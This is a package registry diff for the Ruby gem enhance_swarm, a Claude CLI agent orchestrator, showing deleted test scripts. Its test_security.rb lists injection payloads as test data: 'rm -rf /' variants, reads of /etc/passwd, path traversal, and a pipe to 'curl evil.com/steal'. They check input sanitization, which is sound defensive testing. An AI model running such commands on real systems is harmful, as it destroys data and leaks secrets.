enhance_swarm 2.0.0 ā 2.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/.claude/CLAUDE.md +164 -0
- data/.claude/MCP.md +117 -0
- data/.claude/PERSONAS.md +114 -0
- data/.claude/RULES.md +221 -0
- data/.enhance_swarm/logs/general_output.log +0 -404
- data/.enhance_swarm.yml +33 -0
- data/CHANGELOG.md +71 -0
- data/PRODUCTION_INSTALL_TEST.md +117 -0
- data/README.md +129 -3
- data/lib/enhance_swarm/agent_spawner.rb +218 -12
- data/lib/enhance_swarm/cli.rb +130 -1
- data/lib/enhance_swarm/task_coordinator.rb +363 -86
- data/lib/enhance_swarm/version.rb +1 -1
- metadata +14 -97
- data/PRODUCTION_TEST_LOG.md +0 -502
- data/debug_agent_spawner.rb +0 -99
- data/debug_cli_spawn.rb +0 -95
- data/debug_fixes.rb +0 -209
- data/debug_script_execution.rb +0 -124
- data/debug_session_issue.rb +0 -87
- data/debug_spawn.rb +0 -113
- data/debug_spawn_step_by_step.rb +0 -190
- data/debug_worktree.rb +0 -77
- data/enhance_swarm-0.1.1.gem +0 -0
- data/enhance_swarm-1.0.0.gem +0 -0
- data/final_validation_test.rb +0 -199
- data/setup.sh +0 -86
- data/test_blog_app/.enhance_swarm/archives/session_1751187575_e119ea73_20250629_105935.json +0 -16
- data/test_blog_app/.enhance_swarm/archives/session_1751187637_7fda97dd_20250629_110037.json +0 -32
- data/test_blog_app/.enhance_swarm/archives/session_1751190527_4c99147e_20250629_114847.json +0 -32
- data/test_blog_app/.enhance_swarm/archives/session_1751190541_8dc83406_20250629_114901.json +0 -16
- data/test_blog_app/.ruby-version +0 -1
- data/test_blog_app/Gemfile +0 -18
- data/test_blog_app/Gemfile.lock +0 -206
- data/test_blog_app/README.md +0 -24
- data/test_blog_app/Rakefile +0 -6
- data/test_blog_app/app/assets/images/.keep +0 -0
- data/test_blog_app/app/assets/stylesheets/application.css +0 -10
- data/test_blog_app/app/controllers/application_controller.rb +0 -4
- data/test_blog_app/app/controllers/concerns/.keep +0 -0
- data/test_blog_app/app/helpers/application_helper.rb +0 -2
- data/test_blog_app/app/models/application_record.rb +0 -3
- data/test_blog_app/app/models/concerns/.keep +0 -0
- data/test_blog_app/app/views/layouts/application.html.erb +0 -27
- data/test_blog_app/app/views/pwa/manifest.json.erb +0 -22
- data/test_blog_app/app/views/pwa/service-worker.js +0 -26
- data/test_blog_app/bin/dev +0 -2
- data/test_blog_app/bin/rails +0 -4
- data/test_blog_app/bin/rake +0 -4
- data/test_blog_app/bin/setup +0 -34
- data/test_blog_app/config/application.rb +0 -42
- data/test_blog_app/config/boot.rb +0 -3
- data/test_blog_app/config/credentials.yml.enc +0 -1
- data/test_blog_app/config/database.yml +0 -32
- data/test_blog_app/config/environment.rb +0 -5
- data/test_blog_app/config/environments/development.rb +0 -51
- data/test_blog_app/config/environments/production.rb +0 -67
- data/test_blog_app/config/environments/test.rb +0 -42
- data/test_blog_app/config/initializers/assets.rb +0 -7
- data/test_blog_app/config/initializers/content_security_policy.rb +0 -25
- data/test_blog_app/config/initializers/filter_parameter_logging.rb +0 -8
- data/test_blog_app/config/initializers/inflections.rb +0 -16
- data/test_blog_app/config/locales/en.yml +0 -31
- data/test_blog_app/config/master.key +0 -1
- data/test_blog_app/config/puma.rb +0 -38
- data/test_blog_app/config/routes.rb +0 -14
- data/test_blog_app/config.ru +0 -6
- data/test_blog_app/db/seeds.rb +0 -9
- data/test_blog_app/lib/tasks/.keep +0 -0
- data/test_blog_app/log/.keep +0 -0
- data/test_blog_app/public/400.html +0 -114
- data/test_blog_app/public/404.html +0 -114
- data/test_blog_app/public/406-unsupported-browser.html +0 -114
- data/test_blog_app/public/422.html +0 -114
- data/test_blog_app/public/500.html +0 -114
- data/test_blog_app/public/icon.png +0 -0
- data/test_blog_app/public/icon.svg +0 -3
- data/test_blog_app/public/robots.txt +0 -1
- data/test_blog_app/script/.keep +0 -0
- data/test_blog_app/storage/.keep +0 -0
- data/test_blog_app/test/controllers/.keep +0 -0
- data/test_blog_app/test/fixtures/files/.keep +0 -0
- data/test_blog_app/test/helpers/.keep +0 -0
- data/test_blog_app/test/integration/.keep +0 -0
- data/test_blog_app/test/models/.keep +0 -0
- data/test_blog_app/test/test_helper.rb +0 -15
- data/test_blog_app/test_enhance_swarm_e2e.rb +0 -244
- data/test_blog_app/test_realistic_workflow.rb +0 -292
- data/test_blog_app/tmp/.keep +0 -0
- data/test_blog_app/tmp/pids/.keep +0 -0
- data/test_blog_app/tmp/storage/.keep +0 -0
- data/test_blog_app/vendor/.keep +0 -0
- data/test_builtin_functionality.rb +0 -121
- data/test_complete_system.rb +0 -267
- data/test_core_components.rb +0 -156
- data/test_real_claude_integration.rb +0 -285
- data/test_security.rb +0 -150
- data/test_smart_defaults.rb +0 -155
- data/test_task_integration.rb +0 -173
- data/test_web_ui.rb +0 -245
- data/web/assets/css/main.css +0 -645
- data/web/assets/js/kanban.js +0 -499
- data/web/assets/js/main.js +0 -525
- data/web/templates/dashboard.html.erb +0 -226
- data/web/templates/kanban.html.erb +0 -193
data/test_core_components.rb
DELETED
@@ -1,156 +0,0 @@
|
|
1
|
-
#!/usr/bin/env ruby
|
2
|
-
# Simple test runner for core components
|
3
|
-
|
4
|
-
$LOAD_PATH.unshift File.expand_path('lib', __dir__)
|
5
|
-
require 'enhance_swarm'
|
6
|
-
|
7
|
-
def test_core_functionality
|
8
|
-
puts "š§Ŗ Testing Core Components"
|
9
|
-
puts "=" * 50
|
10
|
-
|
11
|
-
results = []
|
12
|
-
|
13
|
-
# Test 1: Configuration initialization
|
14
|
-
puts "\n1ļøā£ Testing Configuration..."
|
15
|
-
begin
|
16
|
-
config = EnhanceSwarm::Configuration.new
|
17
|
-
if config.respond_to?(:project_name) && config.respond_to?(:max_concurrent_agents)
|
18
|
-
puts " ā
Configuration initialized successfully"
|
19
|
-
results << { test: "Configuration", status: "ā
PASS" }
|
20
|
-
else
|
21
|
-
puts " ā Configuration missing required attributes"
|
22
|
-
results << { test: "Configuration", status: "ā FAIL" }
|
23
|
-
end
|
24
|
-
rescue => e
|
25
|
-
puts " ā Configuration failed: #{e.message}"
|
26
|
-
results << { test: "Configuration", status: "ā ERROR" }
|
27
|
-
end
|
28
|
-
|
29
|
-
# Test 2: ResourceManager functionality
|
30
|
-
puts "\n2ļøā£ Testing ResourceManager..."
|
31
|
-
begin
|
32
|
-
resource_manager = EnhanceSwarm::ResourceManager.new
|
33
|
-
result = resource_manager.can_spawn_agent?
|
34
|
-
|
35
|
-
if result.is_a?(Hash) && result.key?(:allowed) && result.key?(:reasons)
|
36
|
-
puts " ā
ResourceManager can_spawn_agent? working"
|
37
|
-
|
38
|
-
stats = resource_manager.get_resource_stats
|
39
|
-
if stats.is_a?(Hash) && stats.key?(:active_agents)
|
40
|
-
puts " ā
ResourceManager get_resource_stats working"
|
41
|
-
results << { test: "ResourceManager", status: "ā
PASS" }
|
42
|
-
else
|
43
|
-
puts " ā ResourceManager stats malformed"
|
44
|
-
results << { test: "ResourceManager", status: "ā FAIL" }
|
45
|
-
end
|
46
|
-
else
|
47
|
-
puts " ā ResourceManager can_spawn_agent? malformed response"
|
48
|
-
results << { test: "ResourceManager", status: "ā FAIL" }
|
49
|
-
end
|
50
|
-
rescue => e
|
51
|
-
puts " ā ResourceManager failed: #{e.message}"
|
52
|
-
results << { test: "ResourceManager", status: "ā ERROR" }
|
53
|
-
end
|
54
|
-
|
55
|
-
# Test 3: SessionManager functionality
|
56
|
-
puts "\n3ļøā£ Testing SessionManager..."
|
57
|
-
begin
|
58
|
-
session_manager = EnhanceSwarm::SessionManager.new
|
59
|
-
|
60
|
-
# Test session creation
|
61
|
-
session = session_manager.create_session("Test session")
|
62
|
-
if session.is_a?(Hash) && session[:session_id]
|
63
|
-
puts " ā
SessionManager create_session working"
|
64
|
-
|
65
|
-
# Test agent addition
|
66
|
-
result = session_manager.add_agent('backend', 12345, '/tmp/test', 'Test task')
|
67
|
-
if result == true
|
68
|
-
puts " ā
SessionManager add_agent working"
|
69
|
-
|
70
|
-
# Test agent retrieval
|
71
|
-
agents = session_manager.get_all_agents
|
72
|
-
if agents.is_a?(Array) && agents.length == 1
|
73
|
-
puts " ā
SessionManager get_all_agents working"
|
74
|
-
results << { test: "SessionManager", status: "ā
PASS" }
|
75
|
-
else
|
76
|
-
puts " ā SessionManager get_all_agents failed"
|
77
|
-
results << { test: "SessionManager", status: "ā FAIL" }
|
78
|
-
end
|
79
|
-
else
|
80
|
-
puts " ā SessionManager add_agent failed"
|
81
|
-
results << { test: "SessionManager", status: "ā FAIL" }
|
82
|
-
end
|
83
|
-
else
|
84
|
-
puts " ā SessionManager create_session failed"
|
85
|
-
results << { test: "SessionManager", status: "ā FAIL" }
|
86
|
-
end
|
87
|
-
|
88
|
-
# Cleanup
|
89
|
-
session_manager.cleanup_session if session_manager.session_exists?
|
90
|
-
rescue => e
|
91
|
-
puts " ā SessionManager failed: #{e.message}"
|
92
|
-
results << { test: "SessionManager", status: "ā ERROR" }
|
93
|
-
end
|
94
|
-
|
95
|
-
# Test 4: AgentSpawner input sanitization
|
96
|
-
puts "\n4ļøā£ Testing AgentSpawner Security..."
|
97
|
-
begin
|
98
|
-
spawner = EnhanceSwarm::AgentSpawner.new
|
99
|
-
|
100
|
-
# Test task sanitization
|
101
|
-
dangerous_task = 'test`rm -rf /`; echo $PATH'
|
102
|
-
safe_task = spawner.send(:sanitize_task_description, dangerous_task)
|
103
|
-
|
104
|
-
if !safe_task.include?('`') && !safe_task.include?(';') && !safe_task.include?('$')
|
105
|
-
puts " ā
Task sanitization working"
|
106
|
-
|
107
|
-
# Test role sanitization
|
108
|
-
safe_role = spawner.send(:sanitize_role, 'unknown_role')
|
109
|
-
if safe_role == 'general'
|
110
|
-
puts " ā
Role sanitization working"
|
111
|
-
results << { test: "AgentSpawner Security", status: "ā
PASS" }
|
112
|
-
else
|
113
|
-
puts " ā Role sanitization failed"
|
114
|
-
results << { test: "AgentSpawner Security", status: "ā FAIL" }
|
115
|
-
end
|
116
|
-
else
|
117
|
-
puts " ā Task sanitization failed"
|
118
|
-
results << { test: "AgentSpawner Security", status: "ā FAIL" }
|
119
|
-
end
|
120
|
-
rescue => e
|
121
|
-
puts " ā AgentSpawner Security failed: #{e.message}"
|
122
|
-
results << { test: "AgentSpawner Security", status: "ā ERROR" }
|
123
|
-
end
|
124
|
-
|
125
|
-
# Results summary
|
126
|
-
puts "\n" + "=" * 50
|
127
|
-
puts "š§Ŗ CORE COMPONENT TEST RESULTS"
|
128
|
-
puts "=" * 50
|
129
|
-
|
130
|
-
passed = results.count { |r| r[:status].include?("ā
") }
|
131
|
-
total = results.length
|
132
|
-
|
133
|
-
results.each do |result|
|
134
|
-
puts " #{result[:status]} #{result[:test]}"
|
135
|
-
end
|
136
|
-
|
137
|
-
puts "\nš Test Success Rate: #{passed}/#{total} (#{total > 0 ? (passed.to_f / total * 100).round(1) : 0}%)"
|
138
|
-
|
139
|
-
if passed == total && total > 0
|
140
|
-
puts "\nš ALL CORE COMPONENT TESTS PASSED!"
|
141
|
-
puts " ā
Configuration system working"
|
142
|
-
puts " ā
Resource management working"
|
143
|
-
puts " ā
Session management working"
|
144
|
-
puts " ā
Security features working"
|
145
|
-
else
|
146
|
-
puts "\nā ļø SOME TESTS FAILED!"
|
147
|
-
puts " Review failed tests and address issues"
|
148
|
-
end
|
149
|
-
|
150
|
-
passed == total && total > 0
|
151
|
-
end
|
152
|
-
|
153
|
-
if __FILE__ == $0
|
154
|
-
success = test_core_functionality
|
155
|
-
exit(success ? 0 : 1)
|
156
|
-
end
|
@@ -1,285 +0,0 @@
|
|
1
|
-
#!/usr/bin/env ruby
|
2
|
-
# frozen_string_literal: true
|
3
|
-
|
4
|
-
# Test real Claude CLI integration
|
5
|
-
|
6
|
-
$LOAD_PATH.unshift File.expand_path('lib', __dir__)
|
7
|
-
require 'enhance_swarm'
|
8
|
-
|
9
|
-
def test_claude_cli_integration
|
10
|
-
puts "š¤ Testing Real Claude CLI Integration"
|
11
|
-
puts "=" * 60
|
12
|
-
|
13
|
-
test_results = []
|
14
|
-
|
15
|
-
# Test 1: Claude CLI Availability
|
16
|
-
begin
|
17
|
-
puts "\n1ļøā£ Testing Claude CLI Availability..."
|
18
|
-
|
19
|
-
spawner = EnhanceSwarm::AgentSpawner.new
|
20
|
-
available = spawner.claude_cli_available?
|
21
|
-
|
22
|
-
puts " š Claude CLI Available: #{available}"
|
23
|
-
|
24
|
-
if available
|
25
|
-
# Test version
|
26
|
-
version = `claude --version 2>/dev/null`.strip
|
27
|
-
puts " š Claude Version: #{version}"
|
28
|
-
|
29
|
-
# Test basic functionality
|
30
|
-
test_response = `echo "Say hello in one word" | claude --print 2>/dev/null`.strip
|
31
|
-
puts " š Basic Test Response: #{test_response.length > 0 ? 'Success' : 'Failed'}"
|
32
|
-
|
33
|
-
test_results << { test: "Claude CLI Availability", status: "ā
PASS" }
|
34
|
-
else
|
35
|
-
puts " ā Claude CLI not available"
|
36
|
-
test_results << { test: "Claude CLI Availability", status: "ā FAIL" }
|
37
|
-
end
|
38
|
-
rescue => e
|
39
|
-
puts " ā Error testing Claude CLI: #{e.message}"
|
40
|
-
test_results << { test: "Claude CLI Availability", status: "ā FAIL", error: e.message }
|
41
|
-
end
|
42
|
-
|
43
|
-
# Test 2: Agent Prompt Building
|
44
|
-
begin
|
45
|
-
puts "\n2ļøā£ Testing Agent Prompt Building..."
|
46
|
-
|
47
|
-
spawner = EnhanceSwarm::AgentSpawner.new
|
48
|
-
config = EnhanceSwarm::Configuration.new
|
49
|
-
|
50
|
-
# Test enhanced prompt building
|
51
|
-
base_task = "Create a simple Ruby class for a blog post"
|
52
|
-
role = "backend"
|
53
|
-
worktree_path = "/tmp/test_worktree"
|
54
|
-
|
55
|
-
enhanced_prompt = spawner.send(:build_enhanced_agent_prompt, base_task, role, worktree_path)
|
56
|
-
|
57
|
-
puts " š Enhanced Prompt Length: #{enhanced_prompt.length} characters"
|
58
|
-
puts " š Contains Role Info: #{enhanced_prompt.include?('BACKEND')}"
|
59
|
-
puts " š Contains Task: #{enhanced_prompt.include?(base_task)}"
|
60
|
-
puts " š Contains Project Info: #{enhanced_prompt.include?(config.project_name)}"
|
61
|
-
|
62
|
-
if enhanced_prompt.length > 500 && enhanced_prompt.include?(base_task)
|
63
|
-
test_results << { test: "Agent Prompt Building", status: "ā
PASS" }
|
64
|
-
else
|
65
|
-
test_results << { test: "Agent Prompt Building", status: "ā FAIL" }
|
66
|
-
end
|
67
|
-
rescue => e
|
68
|
-
puts " ā Error testing prompt building: #{e.message}"
|
69
|
-
test_results << { test: "Agent Prompt Building", status: "ā FAIL", error: e.message }
|
70
|
-
end
|
71
|
-
|
72
|
-
# Test 3: Agent Script Creation
|
73
|
-
begin
|
74
|
-
puts "\n3ļøā£ Testing Agent Script Creation..."
|
75
|
-
|
76
|
-
spawner = EnhanceSwarm::AgentSpawner.new
|
77
|
-
prompt = "Test prompt for agent script creation"
|
78
|
-
role = "frontend"
|
79
|
-
working_dir = Dir.pwd
|
80
|
-
|
81
|
-
# Create script and test immediately since Tempfile auto-deletes
|
82
|
-
script_tempfile = nil
|
83
|
-
script_content = ""
|
84
|
-
script_exists = false
|
85
|
-
script_executable = false
|
86
|
-
|
87
|
-
begin
|
88
|
-
# Call the method and capture the tempfile path
|
89
|
-
script_path = spawner.send(:create_agent_script, prompt, role, working_dir)
|
90
|
-
|
91
|
-
if script_path && File.exist?(script_path)
|
92
|
-
script_exists = true
|
93
|
-
script_executable = File.executable?(script_path)
|
94
|
-
script_content = File.read(script_path)
|
95
|
-
|
96
|
-
puts " š Script Created: #{script_exists}"
|
97
|
-
puts " š Script Executable: #{script_executable}"
|
98
|
-
puts " š Script Length: #{script_content.length} characters"
|
99
|
-
puts " š Contains Role: #{script_content.include?(role)}"
|
100
|
-
puts " š Contains Claude Command: #{script_content.include?('claude')}"
|
101
|
-
|
102
|
-
test_results << { test: "Agent Script Creation", status: "ā
PASS" }
|
103
|
-
else
|
104
|
-
puts " š Script Created: false"
|
105
|
-
test_results << { test: "Agent Script Creation", status: "ā FAIL" }
|
106
|
-
end
|
107
|
-
rescue => script_error
|
108
|
-
puts " š Script Creation Error: #{script_error.message}"
|
109
|
-
test_results << { test: "Agent Script Creation", status: "ā FAIL" }
|
110
|
-
end
|
111
|
-
rescue => e
|
112
|
-
puts " ā Error testing script creation: #{e.message}"
|
113
|
-
test_results << { test: "Agent Script Creation", status: "ā FAIL", error: e.message }
|
114
|
-
end
|
115
|
-
|
116
|
-
# Test 4: Real Agent Spawning (if Claude CLI available)
|
117
|
-
if spawner.claude_cli_available?
|
118
|
-
begin
|
119
|
-
puts "\n4ļøā£ Testing Real Agent Spawning..."
|
120
|
-
|
121
|
-
# Create a simple test task
|
122
|
-
test_task = "Create a simple 'Hello World' Ruby file and output it"
|
123
|
-
role = "backend"
|
124
|
-
|
125
|
-
# Spawn a real agent
|
126
|
-
pid = spawner.spawn_agent(role: role, task: test_task, worktree: false)
|
127
|
-
|
128
|
-
if pid
|
129
|
-
puts " š Agent Spawned: PID #{pid}"
|
130
|
-
puts " š Process Running: #{Process.getpgid(pid) ? true : false}"
|
131
|
-
|
132
|
-
# Give the agent a moment to start
|
133
|
-
sleep(2)
|
134
|
-
|
135
|
-
# Check if logs are being created
|
136
|
-
log_file = File.join('.enhance_swarm', 'logs', "#{role}_output.log")
|
137
|
-
puts " š Log File Created: #{File.exist?(log_file)}"
|
138
|
-
|
139
|
-
if File.exist?(log_file)
|
140
|
-
# Wait a bit more and check log content
|
141
|
-
sleep(5)
|
142
|
-
log_content = File.read(log_file) rescue ""
|
143
|
-
puts " š Log Content Length: #{log_content.length} characters"
|
144
|
-
puts " š Agent Active: #{log_content.length > 0}"
|
145
|
-
end
|
146
|
-
|
147
|
-
# Try to stop the agent gracefully
|
148
|
-
begin
|
149
|
-
Process.kill('TERM', pid)
|
150
|
-
puts " š Agent Termination: Sent"
|
151
|
-
rescue => e
|
152
|
-
puts " š Agent Termination: #{e.message}"
|
153
|
-
end
|
154
|
-
|
155
|
-
test_results << { test: "Real Agent Spawning", status: "ā
PASS" }
|
156
|
-
else
|
157
|
-
puts " ā Failed to spawn agent"
|
158
|
-
test_results << { test: "Real Agent Spawning", status: "ā FAIL" }
|
159
|
-
end
|
160
|
-
rescue => e
|
161
|
-
puts " ā Error testing real spawning: #{e.message}"
|
162
|
-
test_results << { test: "Real Agent Spawning", status: "ā FAIL", error: e.message }
|
163
|
-
end
|
164
|
-
else
|
165
|
-
puts "\n4ļøā£ Skipping Real Agent Spawning (Claude CLI not available)"
|
166
|
-
test_results << { test: "Real Agent Spawning", status: "āļø SKIP" }
|
167
|
-
end
|
168
|
-
|
169
|
-
# Test 5: Session Integration
|
170
|
-
begin
|
171
|
-
puts "\n5ļøā£ Testing Session Integration..."
|
172
|
-
|
173
|
-
session_manager = EnhanceSwarm::SessionManager.new
|
174
|
-
orchestrator = EnhanceSwarm::Orchestrator.new
|
175
|
-
|
176
|
-
# Create a session
|
177
|
-
session = session_manager.create_session("Claude CLI integration test")
|
178
|
-
puts " š Session Created: #{session[:session_id]}"
|
179
|
-
|
180
|
-
# Test spawning through orchestrator
|
181
|
-
spawn_result = orchestrator.spawn_single(
|
182
|
-
task: "Simple test task for integration",
|
183
|
-
role: "general",
|
184
|
-
worktree: false
|
185
|
-
)
|
186
|
-
|
187
|
-
if spawn_result
|
188
|
-
puts " š Orchestrator Spawn: Success (PID: #{spawn_result})"
|
189
|
-
|
190
|
-
# Check session status
|
191
|
-
status = session_manager.session_status
|
192
|
-
puts " š Session Agents: #{status[:total_agents]}"
|
193
|
-
|
194
|
-
# Cleanup
|
195
|
-
session_manager.cleanup_session
|
196
|
-
|
197
|
-
test_results << { test: "Session Integration", status: "ā
PASS" }
|
198
|
-
else
|
199
|
-
puts " ā Orchestrator spawn failed"
|
200
|
-
test_results << { test: "Session Integration", status: "ā FAIL" }
|
201
|
-
end
|
202
|
-
rescue => e
|
203
|
-
puts " ā Error testing session integration: #{e.message}"
|
204
|
-
test_results << { test: "Session Integration", status: "ā FAIL", error: e.message }
|
205
|
-
end
|
206
|
-
|
207
|
-
# Results Summary
|
208
|
-
puts "\n" + "=" * 60
|
209
|
-
puts "š CLAUDE CLI INTEGRATION TEST RESULTS"
|
210
|
-
puts "=" * 60
|
211
|
-
|
212
|
-
passed = test_results.count { |r| r[:status].include?("ā
") }
|
213
|
-
total = test_results.count { |r| !r[:status].include?("āļø") }
|
214
|
-
|
215
|
-
test_results.each do |result|
|
216
|
-
puts " #{result[:status]} #{result[:test]}"
|
217
|
-
if result[:error]
|
218
|
-
puts " Error: #{result[:error]}"
|
219
|
-
end
|
220
|
-
end
|
221
|
-
|
222
|
-
puts "\nš Success Rate: #{passed}/#{total} (#{total > 0 ? (passed.to_f / total * 100).round(1) : 0}%)"
|
223
|
-
|
224
|
-
if passed == total && total > 0
|
225
|
-
puts "\nš CLAUDE CLI INTEGRATION COMPLETE!"
|
226
|
-
puts " ā
Real Claude agents can be spawned and managed"
|
227
|
-
puts " ā
Enhanced prompts with role specialization working"
|
228
|
-
puts " ā
Agent scripts generated correctly"
|
229
|
-
puts " ā
Session management integrated"
|
230
|
-
puts " ā
Ready for production multi-agent workflows"
|
231
|
-
else
|
232
|
-
puts "\nā ļø Some integration tests failed"
|
233
|
-
puts " š§ Address issues above for full Claude CLI integration"
|
234
|
-
end
|
235
|
-
|
236
|
-
passed == total && total > 0
|
237
|
-
end
|
238
|
-
|
239
|
-
def demonstrate_production_usage
|
240
|
-
puts "\nš Production Claude CLI Usage Examples"
|
241
|
-
puts "=" * 60
|
242
|
-
|
243
|
-
puts "\nš» Enhanced Agent Spawning:"
|
244
|
-
puts " enhance-swarm enhance # Start full orchestration"
|
245
|
-
puts " enhance-swarm spawn 'Create API model' # Spawn single agent"
|
246
|
-
puts " enhance-swarm status # Check agent status"
|
247
|
-
puts " enhance-swarm ui # Web interface"
|
248
|
-
|
249
|
-
puts "\nš¤ Agent Role Specializations:"
|
250
|
-
puts " Backend Agent: Models, APIs, database logic, business rules"
|
251
|
-
puts " Frontend Agent: UI components, styling, client-side logic"
|
252
|
-
puts " QA Agent: Tests, validation, edge cases, quality checks"
|
253
|
-
puts " UX Agent: User flows, accessibility, design improvements"
|
254
|
-
|
255
|
-
puts "\nā” Claude CLI Integration Features:"
|
256
|
-
puts " ⢠Real Claude agents with specialized prompts"
|
257
|
-
puts " ⢠Automatic role-based task assignment"
|
258
|
-
puts " ⢠Project-aware context and standards"
|
259
|
-
puts " ⢠Independent agent execution with monitoring"
|
260
|
-
puts " ⢠Graceful fallback to simulation mode"
|
261
|
-
puts " ⢠Comprehensive logging and error handling"
|
262
|
-
|
263
|
-
puts "\nš§ Integration Benefits:"
|
264
|
-
puts " ⢠Authentic multi-agent development workflows"
|
265
|
-
puts " ⢠Specialized agents for different development phases"
|
266
|
-
puts " ⢠Real-time progress monitoring and coordination"
|
267
|
-
puts " ⢠Production-ready code generation and testing"
|
268
|
-
puts " ⢠Seamless integration with existing development tools"
|
269
|
-
end
|
270
|
-
|
271
|
-
# Run the test
|
272
|
-
if __FILE__ == $0
|
273
|
-
success = test_claude_cli_integration
|
274
|
-
demonstrate_production_usage
|
275
|
-
|
276
|
-
puts "\nšÆ FINAL ASSESSMENT:"
|
277
|
-
if success
|
278
|
-
puts " š Claude CLI integration is PRODUCTION-READY!"
|
279
|
-
puts " š Real multi-agent workflows confirmed working"
|
280
|
-
puts " š ļø Enhanced EnhanceSwarm ready for v1.0 release"
|
281
|
-
else
|
282
|
-
puts " š§ Claude CLI integration needs refinement"
|
283
|
-
puts " š” Some features may fall back to simulation mode"
|
284
|
-
end
|
285
|
-
end
|
data/test_security.rb
DELETED
@@ -1,150 +0,0 @@
|
|
1
|
-
#!/usr/bin/env ruby
|
2
|
-
# Security test for agent spawning
|
3
|
-
|
4
|
-
$LOAD_PATH.unshift File.expand_path('lib', __dir__)
|
5
|
-
require 'enhance_swarm'
|
6
|
-
|
7
|
-
def test_security_vulnerabilities
|
8
|
-
puts "š Security Vulnerability Tests"
|
9
|
-
puts "=" * 40
|
10
|
-
|
11
|
-
results = []
|
12
|
-
|
13
|
-
# Test 1: Command injection in task description
|
14
|
-
puts "\n1ļøā£ Testing Command Injection in Task Description..."
|
15
|
-
|
16
|
-
malicious_tasks = [
|
17
|
-
'test"; rm -rf /; echo "pwned',
|
18
|
-
'test`rm -rf /`test',
|
19
|
-
'test$(rm -rf /)test',
|
20
|
-
'test; cat /etc/passwd',
|
21
|
-
'test && echo "hack" > /tmp/hacked',
|
22
|
-
'test | curl evil.com/steal'
|
23
|
-
]
|
24
|
-
|
25
|
-
spawner = EnhanceSwarm::AgentSpawner.new
|
26
|
-
|
27
|
-
malicious_tasks.each_with_index do |task, i|
|
28
|
-
puts " Testing: #{task[0..30]}..."
|
29
|
-
|
30
|
-
begin
|
31
|
-
# Test sanitization
|
32
|
-
safe_task = spawner.send(:sanitize_task_description, task)
|
33
|
-
|
34
|
-
# Check if dangerous characters were removed
|
35
|
-
dangerous_chars = ['`', '$', ';', '&', '|']
|
36
|
-
has_dangerous = dangerous_chars.any? { |char| safe_task.include?(char) }
|
37
|
-
|
38
|
-
if has_dangerous
|
39
|
-
puts " ā FAIL: Dangerous characters not removed from: #{safe_task}"
|
40
|
-
results << { test: "Command injection #{i+1}", status: "ā FAIL" }
|
41
|
-
else
|
42
|
-
puts " ā
PASS: Task sanitized to: #{safe_task}"
|
43
|
-
results << { test: "Command injection #{i+1}", status: "ā
PASS" }
|
44
|
-
end
|
45
|
-
|
46
|
-
rescue => e
|
47
|
-
puts " ā ERROR: #{e.message}"
|
48
|
-
results << { test: "Command injection #{i+1}", status: "ā ERROR" }
|
49
|
-
end
|
50
|
-
end
|
51
|
-
|
52
|
-
# Test 2: Role validation
|
53
|
-
puts "\n2ļøā£ Testing Role Validation..."
|
54
|
-
|
55
|
-
malicious_roles = [
|
56
|
-
'../../../etc/passwd',
|
57
|
-
'admin; rm -rf /',
|
58
|
-
'`cat /etc/passwd`',
|
59
|
-
'unknown_role',
|
60
|
-
nil,
|
61
|
-
''
|
62
|
-
]
|
63
|
-
|
64
|
-
malicious_roles.each_with_index do |role, i|
|
65
|
-
puts " Testing role: #{role.inspect}"
|
66
|
-
|
67
|
-
begin
|
68
|
-
safe_role = spawner.send(:sanitize_role, role)
|
69
|
-
|
70
|
-
# Should only allow known safe roles
|
71
|
-
safe_roles = %w[ux backend frontend qa general]
|
72
|
-
|
73
|
-
if safe_roles.include?(safe_role)
|
74
|
-
puts " ā
PASS: Role sanitized to: #{safe_role}"
|
75
|
-
results << { test: "Role validation #{i+1}", status: "ā
PASS" }
|
76
|
-
else
|
77
|
-
puts " ā FAIL: Unsafe role allowed: #{safe_role}"
|
78
|
-
results << { test: "Role validation #{i+1}", status: "ā FAIL" }
|
79
|
-
end
|
80
|
-
|
81
|
-
rescue => e
|
82
|
-
puts " ā ERROR: #{e.message}"
|
83
|
-
results << { test: "Role validation #{i+1}", status: "ā ERROR" }
|
84
|
-
end
|
85
|
-
end
|
86
|
-
|
87
|
-
# Test 3: Script generation safety
|
88
|
-
puts "\n3ļøā£ Testing Script Generation Safety..."
|
89
|
-
|
90
|
-
begin
|
91
|
-
# Test with potentially dangerous prompt
|
92
|
-
dangerous_prompt = 'test"; echo "hacked" > /tmp/pwned; echo "'
|
93
|
-
script_path = spawner.send(:create_agent_script, dangerous_prompt, 'backend', '/tmp')
|
94
|
-
|
95
|
-
if File.exist?(script_path)
|
96
|
-
script_content = File.read(script_path)
|
97
|
-
|
98
|
-
# Check if the dangerous content is properly quoted in heredoc
|
99
|
-
if script_content.include?("'EOF'") && script_content.include?('cat > "$PROMPT_FILE" << \'EOF\'')
|
100
|
-
puts " ā
PASS: Script uses safe heredoc with single quotes"
|
101
|
-
results << { test: "Script generation safety", status: "ā
PASS" }
|
102
|
-
else
|
103
|
-
puts " ā FAIL: Script may be vulnerable to injection"
|
104
|
-
puts " Script preview: #{script_content[0..200]}..."
|
105
|
-
results << { test: "Script generation safety", status: "ā FAIL" }
|
106
|
-
end
|
107
|
-
|
108
|
-
# Cleanup
|
109
|
-
File.delete(script_path) if File.exist?(script_path)
|
110
|
-
else
|
111
|
-
puts " ā ERROR: Failed to create script"
|
112
|
-
results << { test: "Script generation safety", status: "ā ERROR" }
|
113
|
-
end
|
114
|
-
|
115
|
-
rescue => e
|
116
|
-
puts " ā ERROR: #{e.message}"
|
117
|
-
results << { test: "Script generation safety", status: "ā ERROR" }
|
118
|
-
end
|
119
|
-
|
120
|
-
# Results summary
|
121
|
-
puts "\n" + "=" * 40
|
122
|
-
puts "š SECURITY TEST RESULTS"
|
123
|
-
puts "=" * 40
|
124
|
-
|
125
|
-
passed = results.count { |r| r[:status].include?("ā
") }
|
126
|
-
total = results.length
|
127
|
-
|
128
|
-
results.each do |result|
|
129
|
-
puts " #{result[:status]} #{result[:test]}"
|
130
|
-
end
|
131
|
-
|
132
|
-
puts "\nš Security Test Success Rate: #{passed}/#{total} (#{total > 0 ? (passed.to_f / total * 100).round(1) : 0}%)"
|
133
|
-
|
134
|
-
if passed == total && total > 0
|
135
|
-
puts "\nš”ļø ALL SECURITY TESTS PASSED!"
|
136
|
-
puts " ā
Command injection protection working"
|
137
|
-
puts " ā
Role validation working"
|
138
|
-
puts " ā
Script generation is safe"
|
139
|
-
else
|
140
|
-
puts "\nā ļø SECURITY ISSUES DETECTED!"
|
141
|
-
